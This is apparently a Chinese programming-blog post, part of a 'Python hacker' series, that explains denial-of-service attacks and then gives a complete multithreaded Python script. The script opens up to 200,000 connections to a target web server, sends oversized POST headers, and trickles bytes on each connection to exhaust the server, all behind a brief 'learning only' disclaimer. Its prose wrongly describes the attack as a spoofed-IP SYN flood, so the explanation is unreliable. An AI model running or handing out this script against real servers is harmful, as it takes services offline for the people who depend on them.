Python黑客攻防（十六）编写Dos脚本，进行简单攻击演示

最新推荐文章于 2024-06-29 17:52:28 发布

肥胖喵

最新推荐文章于 2024-06-29 17:52:28 发布

阅读量1.2w

点赞数 8

分类专栏： Python黑客编程文章标签： python 网络安全

本文链接：https://blog.csdn.net/qq_43681532/article/details/109613742

版权

Python黑客编程专栏收录该内容

17 篇文章 95 订阅

订阅专栏

注：本篇文章为个人学习笔记仅供学习交流，请勿用于非法用途。转载须标明出处。
欢迎关注微信公众号：黑客帮 获取更多干货。

Dos攻击简介

DOS：中文名称是拒绝服务，一切能引起DOS行为的攻击都被称为DOS攻击。该攻击的效果是使得计算机或网络无法提供正常的服务。常见的DOS攻击有针对计算机网络带宽和连通性的攻击。DOS是单机于单机之间的攻击。

Dos攻击原理

首先攻击者向被攻击的服务器发送大量的虚假IP请求，被攻击者在收到请求后返回确认信息，等待攻击者进行确认，（此处需要拥有HTTP协议工作方式和TCP三次握手的基本知识）该过程需要TCP的三次握手，由于攻击者发送的请求信息是虚假的，所以服务器接收不到返回的确认信息，在一段时间内服务器会处与等待状态，而分配给这次请求的资源却被有被释放。当被攻击者等待一定的时间后，会因连接超时而断开，这时攻击者再次发送新的虚假信息请求，这样最终服务器资源被耗尽，直到瘫痪。

代码

import socket
import time
import threading

MAX_CONN = 200000  # 最大连接数
PORT = 80
HOST = "127.0.0.1"  # 目标IP或域名.
PAGE = "/index.php"  # 目标页面

buf = ("POST %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "Content-Length: 10000000\r\n"  # 实体数据大小
       "Cookie: dklkt_dos_test\r\n"
       "\r\n" % (PAGE, HOST))

socks = []

def conn_thread():
    global socks
    for i in range(0, MAX_CONN):  # MAX_CONN允许最大连接数
        # AF_INET 表示 IPv4 地址，创建 TCP套接字，必须使用 SOCK_STREAM 作为套接字类型
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(buf.encode())
            print("[+] 成功发送buf!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
            print("[-] 无法连接服务器或发送错误:%s" % ex)
            time.sleep(1)  # 暂停1秒

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode())
            except Exception as ex:
                print("[-] 发送异常:%s\n" % ex)
                socks.remove(s)
                s.close()
        time.sleep(1)


# 建立多线程
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
# 开启线程
conn_th.start()
send_th.start()

conn_th2 = threading.Thread(target=conn_thread, args=())
send_th2 = threading.Thread(target=send_thread, args=())
conn_th2.start()
send_th2.start()